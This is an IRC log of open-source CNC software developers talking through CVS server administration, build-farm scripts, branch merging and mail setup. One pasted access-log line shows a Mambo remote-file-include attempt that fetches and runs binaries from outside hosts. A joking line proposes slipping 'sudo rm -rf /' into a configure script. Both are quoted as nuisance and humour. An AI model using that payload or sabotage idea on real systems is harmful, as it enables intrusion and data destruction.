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[00:26:48] <jmkasunich> evening folks
[00:27:30] <cradek> hi
[00:27:43] <jepler> hi jmkasunich
[00:28:06] <jmkasunich> jepler: I saw you complaining about the unreliability of your dsl modem when it rains...
[00:28:11] <jepler> yep
[00:28:12] <jmkasunich> is that the one hosting cvs?
[00:28:25] <jepler> yes
[00:28:28] <jmkasunich> bummer
[00:29:09] <jepler> A script runs every 3 minutes; if it detects that the DSL connection has been dropped, it sends a command to the router to restart it
[00:29:20] <jmkasunich> handy
[00:29:21] <jepler> so it mostly just makes me ping out on IRC
[00:29:40] <cradek> I can handle 3-minute outages
[00:29:46] <jmkasunich> yep ;-)
[00:29:59] <cradek> jmkasunich: he gets frantic if it's ever down, so we're pretty safe
[00:30:09] <jmkasunich> cradek (Mr. CVS admin): I want a new cvs module!
[00:30:14] <jmkasunich> ;-)
[00:30:14] <jepler> yep that's true
[00:30:15] <cradek> np
[00:30:21] <jepler> a new CVS module? ooh, something exciting
[00:30:21] <cradek> what do you want it called?
[00:30:22] <jepler> ?
[00:30:36] <jmkasunich> we talked a while back about a "misc" or something
[00:30:47] <jmkasunich> for farm scripts, cvs server scripts and config files, etc
[00:30:55] <cradek> no need for misc, we can have as many as we want
[00:31:01] <jepler> jmkasunich: did you see the "fix" I suggested you try to get halscope to build on the farm?
[00:31:12] <jmkasunich> yeah, and I'm gonna try it
[00:31:14] <jepler> btw are the farm results getting put on the linuxcnc.org website again ?
[00:31:20] <jmkasunich> _after_ I make some changes to the farm scripts
[00:31:20] <jmkasunich> yes
[00:31:36] <jmkasunich> the changes will make the farm start within 5 mins of a commit instead of within an hour
[00:31:56] <cradek> 04/06/06
[00:32:04] <jmkasunich> I guess I should ask - do you mind if 4 farm slots read a webpage from the server every five mins?
[00:32:10] <cradek> I dislike this date format
[00:32:30] <jmkasunich> prefer 06-apr-06?
[00:32:45] <jepler> jmkasunich: the reason bdi2 succeeds could be that it doesn't have gtk at all, so it doesn't build halscope..
[00:32:53] <jepler> "checking for GTK version... none"
[00:32:54] <jmkasunich> could be
[00:33:01] <cradek> prefer 2006-04-06 I think
[00:33:06] <jmkasunich> I like the makefile change and will do that
[00:33:07] <cradek> 06-apr-06 is also unambiguous
[00:33:24] <jmkasunich> I assume thats what you don't like about the other format?
[00:33:29] <cradek> yeah
[00:33:45] <jepler> I see it's right on live: Compiling hal/utils/scope_horiz.c -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/X11R6/include -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -DGTK_INTERFACE -DHALCMD="/usr/local/bin/halcmd"
[00:33:48] <cradek> when you have international collaboration, I think it's inappropriate
[00:34:14] <jepler> I'd vote 2006-04-06 as well, but I'm not on the board so I assume my opinion counts for dirt <-- humor
[00:34:37] <jmkasunich> jepler: will 1152 hits per day to a file on the server mean anything?
[00:35:16] <cradek> that's probably no worse than a few anxious rss pollers
[00:35:19] <jepler> jmkasunich: that's about how many hits the axis website (also on my dsl) gets a day.
[00:35:22] <jepler> I doubt it will really be noticed
[00:35:38] <jmkasunich> ok, thought so but just wanted to ask
[00:35:56] <jmkasunich> since I'm messing with farm scripts, I can change the date formst
[00:36:00] <jepler> it's a very small file right?
[00:36:22] <jmkasunich> http://cvs.linuxcnc.org/last_commit
[00:36:42] <jepler> 1152 hits of a 1k file per day = 1 MB/day = 92 bits/second
[00:36:52] <jmkasunich> I wget and diff it, when I see a change I do a full cvs up
[00:36:52] <jepler> even a 110 baud modem could handle that (barely)
[00:37:04] <jmkasunich> (before I was doing a cvs up every hour)
[00:37:12] <cradek> it's 1xx bytes
[00:37:17] <jepler> it might actually lower traffic overall
[00:37:28] <jmkasunich> 210
[00:37:34] <cradek> 135 now
[00:37:40] <cradek> depends on the last change of course
[00:37:54] <cradek> oh wrong, it is 210
[00:37:58] <cradek> was 135 earlier
[00:38:01] <jmkasunich> heh
[00:38:01] <cradek> * cradek slaps wget
[00:38:22] <jmkasunich> I left the script (checker only) running overnight, so I was pretty sure I had the latest
[00:38:51] <jmkasunich> anyway, back to the new module
[00:39:12] <jmkasunich> sure, we could have a new module for every little thing, but I'd rather have on module and make trees under it
[00:39:22] <jmkasunich> 1) less clutter at the top level
[00:39:33] <jmkasunich> 2) can make a new tree without asking cradek
[00:39:53] <jmkasunich> s/on module/one module
[00:39:56] <cradek> misc kind of implies there will be no organization in it
[00:40:06] <jmkasunich> I'm open to better names
[00:40:09] <jmkasunich> admin?
[00:40:11] <jepler> infrastructure?
[00:40:22] <cradek> hmmm infrastructure
[00:40:27] <jepler> or call it i12e
[00:40:27] <jmkasunich> junkbucket?
[00:40:37] <jmkasunich> or not
[00:40:40] <cradek> not
[00:41:10] <cradek> support (except it has more than one meaning)
[00:41:31] <jmkasunich> yeah, and the one the average user assumes is the wrong one
[00:41:38] <cradek> right
[00:41:47] <cradek> but I think jeff is on the right track
[00:41:59] <jmkasunich> infrastructure?
[00:42:10] <cradek> is there a shorter word that means that?
[00:42:14] <jmkasunich> I hope so
[00:42:17] <cradek> haha
[00:42:59] <cradek> system?
[00:43:12] <cradek> utility?
[00:43:25] <jepler> i12e?
[00:43:38] <jmkasunich> utility could be misintrepreted (g-code writing tools could be utilities)
[00:44:01] <jmkasunich> i12e is ugly, but it has the (dubious) advantage that users won't know what the hell its all about
[00:44:17] <cradek> nitty-gritty
[00:44:17] <jepler> "fundament"?
[00:44:29] <jmkasunich> more accurately, they won't make assumptions about what its all about
[00:44:36] <cradek> strata
[00:44:37] <jepler> If it's all the farm scripts, maybe just call it johndeere?
[00:44:49] <cradek> I may end up putting cvs thingies in there too
[00:44:52] <jmkasunich> I also hope cradek will put cvs server scripts in there
[00:44:58] <cradek> yeah thingies
[00:45:00] <jmkasunich> CIA mailing stuff, etc
[00:45:25] <cradek> so people can help me (ahem) find the XSS and shell exploit bugs
[00:46:18] <cradek> speaking of that, did everyone see the latest sf site news?
[00:46:25] <jmkasunich> no
[00:46:52] <jepler> http://sourceforge.net/docman/display_doc.php?docid=2352&group_id=1#1144353894
[00:47:02] <jepler> "Our primary concern right now is for the security and reliability of developer CVS access"
[00:47:33] <jepler> I suggested to cradek that it made me think they know there was or think there might have been some kind of security breach
[00:47:56] <cradek> apparently involving anon access
[00:48:03] <jepler> "Accordingly, we'd like all projects to audit their CVS repository for corruption and raise any issues to us via a Confidential Support Request immediately" -- an earlier message
[00:48:19] <jmkasunich> seems like they have a mess on their hands
[00:48:40] <cradek> they need to come clean about what happened
[00:48:45] <jmkasunich> I suppose we should "audit" our repo there, even tho we don't plan to use it
[00:49:03] <jepler> they don't want to say it, but it sounds like they're scared something got in. Something that should be "Confidential" if you find it.
[00:49:16] <cradek> maybe it's been happening off and on and they didn't do anything.
[00:50:00] <cradek> "On 2006-03-30 the developer CVS server had a hardware issue that required us to take the service offline. "
[00:50:18] <cradek> sure it did
[00:50:29] <cradek> no hardware issue takes a week to fix.
[00:50:29] <jmkasunich> that could simply be corp speak for a crashed disk
[00:50:46] <jmkasunich> once an organization gets above a certain size they forget how to speak clearly
[00:50:48] <cradek> but "wtf happened??" can easily take a week
[00:51:33] <jepler> disk failure -> restore -> someone finally notices the break-in when looking at logs or repository contents -> hush up and take a week restoring the backups
[00:51:53] <cradek> after more time spent with the thesaurus, I like infrastructure; it means exactly what we want
[00:51:59] <jepler> cradek: word geek
[00:52:04] <cradek> guilty
[00:52:32] <cradek> why do I lose (NOT LOOSE) at scrabble then?
[00:52:39] <jepler> hah
[00:52:46] <jepler> play against me sometime. I'll be the looser.
[00:52:53] <cradek> LOSER LOSER LOSER
[00:52:56] <cradek> arrgh
[00:53:00] <jepler> I'm plenty loose after a couple beers.
[00:53:04] <cradek> haha
[00:53:14] <jepler> and I need to be loose before I'd play a game I can't standa
[00:53:15] <cradek> you're plenty loose after one
[00:53:18] <jepler> oh right
[00:53:26] <cradek> you don't even have to finish it
[00:53:30] <cradek> wow, weather is happening now
[00:53:38] <jepler> it's been happening over here off and on
[00:53:41] <jepler> it might be picking up again
[00:53:46] <jmkasunich> weather happens constantly
[00:53:49] <cradek> it's happening adamantly right now
[00:53:59] <jmkasunich> just some weather is more happenin' than other weather
[00:54:09] <cradek> how about "buttress"
[00:54:28] <jmkasunich> how bout "infrastructure" ;-)
[00:54:38] <cradek> yay
[00:54:40] <jepler> how 'bout 2006-04-06
[00:54:42] <jmkasunich> does saying 'bout annoy the word geek
[00:54:46] <jmkasunich> ?
[00:54:54] <cradek> nope, but spelling lose with two os does
[00:55:23] <jmkasunich> how about 2006-apr-06?
[00:55:45] <cradek> that's an unusual format isn't it?
[00:55:51] <cradek> 06-apr-2006 is more common
[00:55:58] <cradek> unsortable, of course
[00:56:01] <jmkasunich> (I'm assuming date can be persuaded to output three letter months)
[00:56:13] <jmkasunich> I was just referring to the apr vs 04
[00:56:20] <jmkasunich> but sortable is nice
[00:56:35] <cradek> %b locale's abbreviated month name (Jan..Dec)
[00:56:53] <jmkasunich> dammit, I was reading the man page... I'm slow, you have to give me time
[00:57:06] <jmkasunich> I'm slow because I talk too much
[00:57:18] <cradek> I think we should pick 2006-12-01 or 01-Dec-2006 but not some unholy combination
[00:57:38] <jmkasunich> yyyy-mm-dd then
[00:57:45] <cradek> great by me
[00:57:50] <jepler> I sure like it for its sortability
[00:59:53] <cradek> jmkasunich: should all developers be able to edit infrastructure?
[01:00:08] <jmkasunich> I don't see why not
[01:00:10] <cradek> if it's not a security problem, I think yes
[01:00:14] <jmkasunich> its cvs after all
[01:00:24] <cradek> that's definitely true
[01:00:25] <jmkasunich> fsckups can be reverted
[01:00:28] <cradek> ok it's ready then
[01:00:43] <jmkasunich> thanks
[01:00:57] <cradek> welcome
[01:01:40] <jmkasunich> date -u "+%F %T"
[01:01:41] <jmkasunich> 2006-04-07 01:01:03
[01:01:45] <jepler> if it's "just" farm scripts, all we committers have a way to run arbitrary code on jmk's machines already.
[01:02:09] <cradek> that's certainly true
[01:02:10] <jmkasunich> only if I update the farm without noticing that you've changed things
[01:02:23] <cradek> no, we just put it in the makefile
[01:02:25] <jepler> jmkasunich: for instance by checking in "sudo rm -rf /" as the first line of configure
[01:02:38] <jepler> and making a configure.in change at the same time so hopefully nobody notices :)
[01:02:49] <cradek> you could reformat it all :-)
[01:03:00] <jepler> "regenerate with different autoconf version"
[01:03:01] <jmkasunich> you mean to the emc makefile?
[01:03:07] <cradek> yes
[01:03:12] <jmkasunich> that will mess up more folks than just me
[01:03:21] <jmkasunich> (but mine will happen faster)
[01:03:23] <cradek> you download "scripts" from cvs and run them automatically
[01:03:36] <jepler> it's true that all cvs users do
[01:03:40] <jmkasunich> you mean configure, or the farm scripts?
[01:03:58] <jepler> the point is, me being able to edit the farm scripts doesn't make any difference to the security of jmk's machine, since I already have a way to run arbitrary commands.
[01:03:59] <cradek> we mean it doesn't matter if people can change the farm scripts because you already have that much risk
[01:04:26] <jmkasunich> ok, but you've also pointed out that I have that much risk, which I dont kile
[01:04:29] <jmkasunich> like even
[01:04:29] <jepler> I'm more likely to write 'if(older than ubuntu) sleep 20 minutes then give a successful result'
[01:04:44] <jmkasunich> I should disable sudo on those boxes
[01:04:52] <jepler> just so jmk stops buggin' me when I break bdi2
[01:05:07] <jmkasunich> ;P
[01:05:16] <cradek> oh you have passwordless sudo? that's such a bad configuration choice...
[01:05:24] <jmkasunich> I have what paul set up
[01:05:39] <cradek> * cradek hums to himself
[01:05:44] <jmkasunich> I'm not sure the older ones have sudo at all
[01:06:05] <jmkasunich> I usually find myself using "su -c" or just logging in as root if I have a lot of rooty stuff to do
[01:06:38] <jmkasunich> remember, the goal here was to emulate what joe user would have if he just did an install
[01:06:58] <cradek> I understand
[01:07:05] <jmkasunich> I could customize the box left and right, but the validity of the test compiles goes down if I do
[01:07:11] <cradek> joe user has the same security problems...
[01:08:48] <jmkasunich> bdi 2 has no sudo
[01:09:01] <jmkasunich> bdi-tng has it, but the default user isn;t in the sudoers file
[01:09:17] <jmkasunich> it asks for pw, then says "you're not allowed, incident will be reported"
[01:09:32] <jmkasunich> live and 4.20 have passwordless sudo :-(
[01:09:53] <cradek> I understand why it's there, but fixing emc would have been such a better solution
[01:10:45] <jmkasunich> for the farm, is rm /bin/sudo a reasonable solution, or is there something more elegant?
[01:11:20] <cradek> you could just edit sudoers
[01:11:24] <cradek> or apt-get remove sudo
[01:11:37] <jmkasunich> Live isn't debian
[01:11:39] <cradek> or chmod 000 /bin/sudo if you don't want to change anything
[01:11:46] <cradek> rpm --erase sudo
[01:11:54] <jmkasunich> its morphix
[01:12:03] <jmkasunich> dunno wth flavor that actually is
[01:12:07] <cradek> no clue
[01:12:11] <jmkasunich> nor do I care
[01:12:13] <cradek> chmod 000 /bin/sudo then
[01:12:20] <jmkasunich> the right thing would be to edit sudoers
[01:12:29] <jmkasunich> so I can still use it (with a password)
[01:12:47] <jepler> I think morphix is debian-based
[01:13:32] <cradek> "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
http://210.3.4.193/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;curl%20-o%20arts%20http://207.90.211.54/arts;chmod%20744%20arts;./arts;echo%20YYY;echo| HTTP/1.1" 404 295 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
[01:13:57] <cradek> my webserver is getting hammered with this crap
[01:14:13] <cradek> "Mambo - the dynamic portal engine and content management system."
[01:14:28] <cradek> "Mambo - the piece of crap security nightmare"?
[01:14:53] <jepler> cradek: I get a pile of those in my logs too
[01:15:21] <cradek> is there a correctly-written php script out there?
[01:15:30] <jepler> cradek: oh probably
[01:15:35] <jepler> 10 print "404 not found"
[01:15:35] <cradek> I briefly ran a phpbb and it was the same way
[01:15:36] <jepler> 20 goto 10
[01:16:21] <jmkasunich> you guys would probably find the farm scripts amusing (and full of holes)
[01:17:37] <jmkasunich> is the new linuxcnc website being served with apache?
[01:17:48] <jepler> jmkasunich: yes
[01:17:57] <jmkasunich> that can do server side includes, right?
[01:18:10] <jepler> depending on the configuration
[01:18:20] <jepler> (we don't have control over the configuration, it's a shared server)
[01:18:42] <jmkasunich> right now, to update the main farm status page, I get index.html, run some sed-fu on it to make changes, and put it back
[01:18:50] <jmkasunich> thats subject to a race condition
[01:18:56] <cradek> hmm, now my rain detector is working
[01:18:56] <jmkasunich> (among other ugliness)
[01:19:06] <jepler> the dreamhost documentation indicates that SSI is enabled for .shtml files.
http://wiki.dreamhost.com/index.php/KB_/_Web_Programming_/_CGI%2C_PHP_%26_Databases_/_SSI:_Server-Side_Includes
[01:19:20] <cradek> cool
[01:20:04] <jmkasunich> so the date and "PASSED"/"FAILED" can be included from index.html
[01:20:15] <cradek> yes
[01:20:25] <jmkasunich> well, first things first
[01:20:30] <cradek> you could include the entire <tr>...</tr>
[01:20:43] <jmkasunich> yeah, that would be simpler probably
[01:22:31] <jmkasunich> first things first
[01:22:39] <jmkasunich> gotta import the scripts and such into cvs
[01:22:51] <jepler> yeah .. check them in before you break them
[01:22:56] <jepler> make sure you don't check in keys or passwords!
[01:23:06] <jmkasunich> right
[01:23:20] <jmkasunich> all that is local to each machine
[01:23:50] <jmkasunich> only the main script and the individual build scripts are in cvs
[01:24:05] <jmkasunich> speaking of which... should the farm be doing normal or RIP builds?
[01:24:22] <jmkasunich> (it doesn't do make install _or_ make setuid, just the make)
[01:24:28] <cradek> I think it doesn't matter much
[01:24:41] <jmkasunich> its doing normal now
[01:24:43] <cradek> the only difference is a few -D... cflags
[01:24:57] <jmkasunich> thats probably better, since most developers test with RIP
[01:25:00] <jepler> I don't see any reason to use --enable-run-in-place
[01:25:06] <cradek> I agree
[01:25:14] <jepler> cradek will always "ship" installed, so it's good if it's tested by somebody
[01:25:14] <jmkasunich> so if something happens that works for RIP but breaks for normal, the farm will catch it
[01:25:18] <jepler> cradek: made new debs yet?
[01:25:31] <jmkasunich> oh, that reminds me of another thing to talk about
[01:25:39] <cradek> no, I'm not sure it's the right time anymore
[01:25:44] <jmkasunich> branch management
[01:25:46] <cradek> maybe this weekend after we talk about it
[01:26:12] <jmkasunich> if we have a fix in head that should be in the release branch (bugfix) how should we go about it?
[01:26:25] <cradek> um, put it there
[01:26:42] <cradek> is that what you're asking?
[01:26:47] <jmkasunich> if we start merging individual changes over, the ability to do a true merge back into the trunk later gets real messy
[01:26:57] <jmkasunich> (we may not care)
[01:26:59] <cradek> we won't do a merge
[01:27:10] <cradek> the branch is a "stable" branch for this release
[01:27:12] <cradek> development goes on
[01:27:18] <cradek> bugfixes must go in both branches
[01:27:29] <jepler> I don't think there's anything to do but manually apply bugfixes in two places
[01:27:34] <cradek> right
[01:28:12] <jmkasunich> ok, so for example if there is a fix in head, do a diff of the appropriate HEAD revs to generate a patch, apply it to a working copy of the branch, then test and commit
[01:28:38] <cradek> yes
[01:29:53] <jmkasunich> heh, the cvsweb is nice for making the diff (as long as you know that files are involved)
[01:30:20] <jmkasunich> I want to apply my last rev to scope_files.c to the branch
[01:30:34] <jmkasunich> it changes some shouting "ERROR" messages to much subtler warnings
[01:30:41] <jmkasunich> they aren't really errors
[01:31:09] <jmkasunich> (if you start scope, it tries to restore the previous setup, but if you don't have the pins it was looking at it used to scream ERROR at you)
[01:31:28] <jmkasunich> I can imagine Tillie asking us about that, better to fix before release
[01:32:50] <cradek> arg, cvs gives you some weird crap when you make a new directory, have a look at that commit mail
[01:33:06] <cradek> Modified file infrastructure/cvs-server/-
[01:33:12] <cradek> Modified file infrastructure/cvs-server/New
[01:33:18] <cradek> Modified file infrastructure/cvs-server/directory
[01:33:23] <cradek> doh
[01:33:35] <jmkasunich> heh
[01:34:00] <jmkasunich> well, I was wrong about _which_ special case wasn't handled/tested yet
[01:34:08] <jmkasunich> but right that there was one
[01:34:17] <cradek> :-P
[01:34:22] <jmkasunich> ;-)
[01:34:43] <jepler> jmkasunich: you know the old version was 1.6 and the new version is 1.7, so you can merge those changes into a working copy of the v2_0_branch with this CVS command:
[01:34:46] <jepler> cvs update -j1.6 -j1.7 scope_files.c
[01:35:04] <jmkasunich> thanks
[01:35:23] <jepler> -jREV1 -jREV2 merges changes after REV1 including REV2 into the working file
[01:35:34] <jepler> you may get ">>>>"-format conflicts by doing this
[01:35:37] <jmkasunich> I knew that once
[01:36:07] <jmkasunich> I did the merge of pauls lathe fork code (which branched about 6 months before we decided to merge it)
[01:36:19] <jmkasunich> I spent a _lot_ of time reading the cvs book for that
[01:36:37] <jmkasunich> forgot it all since then, that was right after fest last year, probably may
[01:37:28] <jmkasunich> ok, what am I doing wrong:
[01:37:30] <jmkasunich> cvs -z3 -d:ext:jmkasunich@cvs.linuxcnc.org:/emc co infrastructure
[01:37:45] <cradek> looks right to me
[01:37:55] <jmkasunich> Cannot access /emc/CVSROOT
[01:37:55] <cradek> oh /cvs not /emc
[01:37:59] <jmkasunich> ok
[01:38:05] <jmkasunich> I suspected that part of the line
[01:38:13] <jmkasunich> with sf it was /cvsroot/emc
[01:38:26] <jmkasunich> I know the cvsroot part is gone, but I forget that the emc part is now cvs
[01:39:12] <jmkasunich> lsa
[01:39:48] <jmkasunich> tell me when you want to test the "new directory" message
[01:39:58] <cradek> just a minute
[01:40:05] <jmkasunich> no hurry
[01:41:30] <cradek> ready, I think
[01:42:34] <jmkasunich> john@ke-main-ubuntu:~/emcdev/infrastructure$ cvs add farm-scripts
[01:42:34] <jmkasunich> rlog: warning: `-' is obsolete in `-r-'; use `:' instead
[01:42:34] <jmkasunich> rlog: /cvs/infrastructure/farm-scripts/-,v: No such file or directory
[01:42:34] <jmkasunich> rlog: /cvs/infrastructure/farm-scripts/New,v: No such file or directory
[01:42:34] <jmkasunich> rlog: /cvs/infrastructure/farm-scripts/directory,v: No such file or directory
[01:42:35] <jmkasunich> rlog: warning: `-' is obsolete in `-r-'; use `:' instead
[01:42:46] <jmkasunich> rlog: /cvs/infrastructure/farm-scripts/-,v: No such file or directory
[01:42:47] <jmkasunich> Directory /cvs/infrastructure/farm-scripts added to the repository
[01:42:49] <cradek> well that sure didn't fix it
[01:43:33] <jmkasunich> bummer
[01:45:35] <cradek> strange, when I run log<last_commit, it works fine
[01:46:30] <jmkasunich> maybe have to make a new dir in the test module?
[01:46:43] <cradek> I removed the test module
[01:46:47] <jmkasunich> oh, you got rid of it
[01:48:28] <cradek> hmm, I cannot see the problem
[01:48:59] <jmkasunich> well, directory adds aren't that frequent
[01:49:09] <jmkasunich> and a funny mail isn't a real problem
[01:49:11] <jmkasunich> screw it
[01:49:16] <cradek> bah
[01:49:37] <jmkasunich> (have you done anything other than cvs admin all week?)
[01:49:58] <cradek> not really
[01:50:02] <cradek> tomorrow night I will
[01:50:07] <jmkasunich> I'd be really sick of it by now
[01:50:16] <jmkasunich> (I felt guilty asking you to add the new module)
[01:50:19] <cradek> it's an interesting challenge since cvs is so crappy
[01:50:33] <cradek> it's just a mkdir...
[01:50:38] <jmkasunich> whats tomorrow night?
[01:50:45] <cradek> friday if I've counted right
[01:50:50] <cradek> I'll do something else
[01:50:51] <jmkasunich> yes
[01:50:55] <jmkasunich> anything special?
[01:51:05] <jmkasunich> we're going to a baseball game on Sunday
[01:51:05] <cradek> nah, just screw off with friends
[01:51:29] <jmkasunich> home opener is Friday, but couldn't get tickets
[01:51:43] <cradek> are you a baseball fan?
[01:51:50] <jmkasunich> medium
[01:51:56] <jmkasunich> my wife more so than me
[01:52:05] <jmkasunich> we go to 7-8 games a year
[01:52:08] <cradek> maybe you can answer something (asked in all seriousness)
[01:52:21] <cradek> some people have favorite teams that they really love
[01:52:32] <cradek> how do you pick one? seems to me they would all be about the same
[01:52:46] <cradek> there's a lot about sports fannery that I don't get
[01:52:56] <jmkasunich> I'm not a "FAN"
[01:53:14] <jmkasunich> I favor the Cleveland Indians because thats where I live
[01:53:20] <cradek> but do you have any geek-like insight into it?
[01:53:29] <jmkasunich> when I lived in Penna I favored the Pirates and Steelers
[01:53:32] <cradek> ok I can see that
[01:53:51] <jmkasunich> no, my geekery is limited to things electronic and mechanical
[01:53:59] <jmkasunich> human behavior is beyond me
[01:54:11] <cradek> ok, I sometimes have a bit of it in sociology/behavior too
[01:54:29] <jmkasunich> a well rounded geek
[01:55:13] <cradek> ok I'll keep studying that one, sorry for the diversion
[01:56:23] <jmkasunich> want another test case (adding a file)?
[01:56:34] <jmkasunich> not gonna add any more dirs unfortunately
[01:56:48] <jmkasunich> I have about 10 files to add tho
[01:56:50] <cradek> new file works I'm pretty sure
[01:56:53] <cradek> go for it
[01:57:17] <jmkasunich> I'll try this one, if it works I'll do the others all in one bite so I don't spam the list
[01:57:22] <cradek> ok
[01:58:13] <jmkasunich> hmm, must be raining
[01:58:28] <cradek> all my tests show that the new directory handling stuff works right
[01:58:45] <cradek> I get a ping
[01:58:57] <jmkasunich> it finished
[01:58:58] <cradek> there it went
[01:59:00] <jmkasunich> took a while tho
[01:59:38] <jmkasunich> msg looks right
[01:59:39] <cradek> if I didn't know better, I'd say you did the cvs add before I saved these changes
[01:59:56] <jmkasunich> which add? new dir or new file?
[02:00:00] <cradek> the dir
[02:00:40] <jmkasunich> I did it right before I posted those rlog messages to IRC
[02:01:02] <jmkasunich> and after you said "ready, I think"
[02:01:08] <cradek> ok
[02:01:15] <cradek> so that's when you did cvs add newdir
[02:01:30] <cradek> I figured so, but I can't explain why it still broke
[02:01:32] <jmkasunich> yes
[02:01:54] <jmkasunich> I did the checkout of the infrastructure tree right after you told me it was /cvs not /emc
[02:02:09] <cradek> right, that shouldn't matter, only the cvs add newdir
[02:02:27] <jmkasunich> didnt think it would, just giving you the details
[02:03:04] <cradek> I have only one guess, but my testing says it's fine, but I'm going to "fix" it anyway
[02:03:28] <cradek> nope forget it
[02:03:30] <cradek> wtf
[02:05:52] <cradek> ok I know what to do: troubleshoot
[02:09:23] <jmkasunich> ohh, thats interesting
[02:10:07] <jmkasunich> I just committed (added) 10 files
[02:10:26] <cradek> I turned off the email for my testing
[02:10:30] <jmkasunich> oh, ok
[02:10:37] <cradek> actually I changed it to send to me
[02:10:40] <jmkasunich> (it looks like the CIA mail appeared at my console)
[02:11:10] <cradek> the emails look right fwiw
[02:11:16] <cradek> yes you probably got lots of output
[02:11:48] <jmkasunich> you did a set -x or something like that?
[02:11:51] <cradek> yes
[02:12:41] <jmkasunich> I see you added the new dirs to the infrastructure tree
[02:12:51] <cradek> yeah I'll delete them
[02:12:53] <jmkasunich> at SF that meant a major chore to remove them
[02:13:03] <jmkasunich> I guess its not so hard now?
[02:13:10] <cradek> I should have left the test module, but I thought I was done
[02:13:14] <cradek> nah, just rm
[02:13:34] <jmkasunich> beats the heck out of filing a support request and waiting a week
[02:17:23] <cradek> AHA
[02:18:48] <jmkasunich> you're supposed to say EUREKA!
[02:24:12] <cradek> AHA I'll get it this time
[02:24:37] <cradek> chris@cvs$ cvs add test6
[02:24:37] <cradek> Enter passphrase for key '/home/chris/.ssh/id_dsa':
[02:24:37] <cradek> Directory /cvs/infrastructure/test6 added to the repository
[02:26:14] <jmkasunich> no rlog stuff, thats good
[02:26:20] <cradek> yeah it's fixed
[02:26:38] <cradek> in your local repository, if you got any test? dirs, rm -r them
[02:26:55] <jmkasunich> I don't (I never did an up)
[02:27:04] <cradek> ok now it's safe then
[02:27:15] <jmkasunich> got another question
[02:27:28] <jmkasunich> I know every committer has a (limited) account on the cvs server
[02:27:33] <jmkasunich> do they have home directories?
[02:27:51] <cradek> yes, because each needs his own .ssh dir
[02:27:58] <cradek> but that's all that' in the home dirs
[02:28:00] <cradek> s
[02:28:01] <jmkasunich> can they scp files into those dirs?
[02:28:08] <cradek> no
[02:28:12] <jmkasunich> darn
[02:28:28] <cradek> why?
[02:28:41] <jmkasunich> in the back of my mind I have this idea
[02:28:55] <jmkasunich> that anyone who wants to can checkout the farm scripts and set up a farm box
[02:29:17] <jmkasunich> the checkout is easy
[02:29:24] <jmkasunich> getting the results online isn't
[02:29:39] <cradek> true
[02:29:44] <jmkasunich> right now I have my boxes set up for passwordless ftp to linuxcnc.org/compile_farm
[02:29:50] <jmkasunich> and dreamhost serves the results
[02:30:00] <jmkasunich> ftp isn't the best way to do things ;-/
[02:30:05] <cradek> no
[02:30:20] <cradek> you could mail results
[02:30:22] <jmkasunich> I was thinking of scp back to cvs.linuxcnc.org and let it serve the results
[02:30:40] <jmkasunich> mail them to something that will put them online?
[02:30:43] <cradek> yes
[02:30:52] <jmkasunich> thats a thought
[02:31:10] <jmkasunich> I want to get mail working
[02:31:24] <jmkasunich> to mail simple pass/fail msgs to the commit list, and XML to CIA
[02:31:37] <jmkasunich> if I do that much, I can also mail the full log to a webserver
[02:31:40] <cradek> can you describe the problem so I can help?
[02:31:47] <jmkasunich> the mail thing?
[02:31:50] <cradek> yes
[02:32:04] <jmkasunich> I was hoping you'd ask ;-)
[02:32:45] <jmkasunich> I haven't even tried to set up mail since I loaded ubuntu
[02:32:50] <cradek> what's your ip today?
[02:33:32] <jmkasunich> 66.167.25.76
[02:34:29] <cradek> no answer on port 22 today
[02:34:29] <jmkasunich> http://www.wurd.com/settings.php
[02:34:44] <jmkasunich> see the part that says "accessing thru high speed connections"
[02:34:47] <jmkasunich> thats what applies to me
[02:35:24] <jmkasunich> I've been able to get kmain (for example) to receive incoming mail, but not to send
[02:35:35] <cradek> ok they require smtp over ssl
[02:36:54] <jmkasunich> are you 65.28.182.171?
[02:37:06] <cradek> yes
[02:37:15] <cradek> did you try following the instructions (use stunnel)?
[02:37:46] <jmkasunich> the last time I even tried was 6 months plus ago
[02:37:48] <cradek> there's even "to configure stunnel for linux"
[02:37:52] <cradek> http://www.wurd.com/cl_ssl_stunnel.php#Linux
[02:38:28] <cradek> Most recent Linux distributions come with Sendmail compiled with SSL support
[02:38:28] <cradek> already
[02:38:47] <jmkasunich> well before I was running BDI-4.20
[02:39:22] <cradek> what you want is to configure one of your local machines to use ssl to the smarthost (imailhost.worldnet.att.net)
[02:39:41] <cradek> then let that machine relay for all your other (not as smart) machines
[02:40:00] <jmkasunich> probably makes sense to use the farm router
[02:40:03] <jmkasunich> its on all the time
[02:40:05] <cradek> ubuntu uses postfix which I have nfc about
[02:40:14] <cradek> but google might tell you how to do it
[02:40:20] <cradek> is that the old redhat?
[02:40:24] <jmkasunich> that one is running RH7.2
[02:40:37] <cradek> I think rh72 had a real sendmail setup (rh62 did not)
[02:40:57] <cradek> but there have probably been important patches since then
[02:41:12] <cradek> I guess that doesn't matter, it won't be receiving
[02:41:19] <cradek> you just want to be able to send, right?
[02:41:23] <jmkasunich> yes
[02:41:45] <jmkasunich> don't want it removing my mail from the server ;-)
[02:42:12] <cradek> http://www.cromwell-intl.com/unix/sendmail-ssl.html
[02:42:50] <cradek> hmm, this might be the "other end" of what you want
[02:43:58] <jmkasunich> "answer the X.509v# questions appropriately"
[02:44:05] <cradek> yeah I noticed that too
[02:44:27] <jmkasunich> heh, that's like "the remainder of the problem is left as an excercise for the student"
[02:45:06] <jmkasunich> I'm suffering from stack overflow at the moment
[02:45:14] <jmkasunich> (farm setup, etc, then mail)
[02:45:31] <jmkasunich> when I get some time (maybe tomorrow night) I'll take a stab at it
[02:45:41] <jmkasunich> then ask you for help when I get stuck
[02:45:45] <cradek> ok
[02:45:53] <cradek> I'm not sure that page is what you want anyway
[02:46:08] <jmkasunich> I'll start with the wurd pages
[02:46:29] <jmkasunich> there is this
http://www.wurd.com/cl_email_sendmail.php
[02:46:46] <jmkasunich> however that is aimed at dialup att users
[02:46:55] <jmkasunich> who don't have to jump thru the SSL hoop
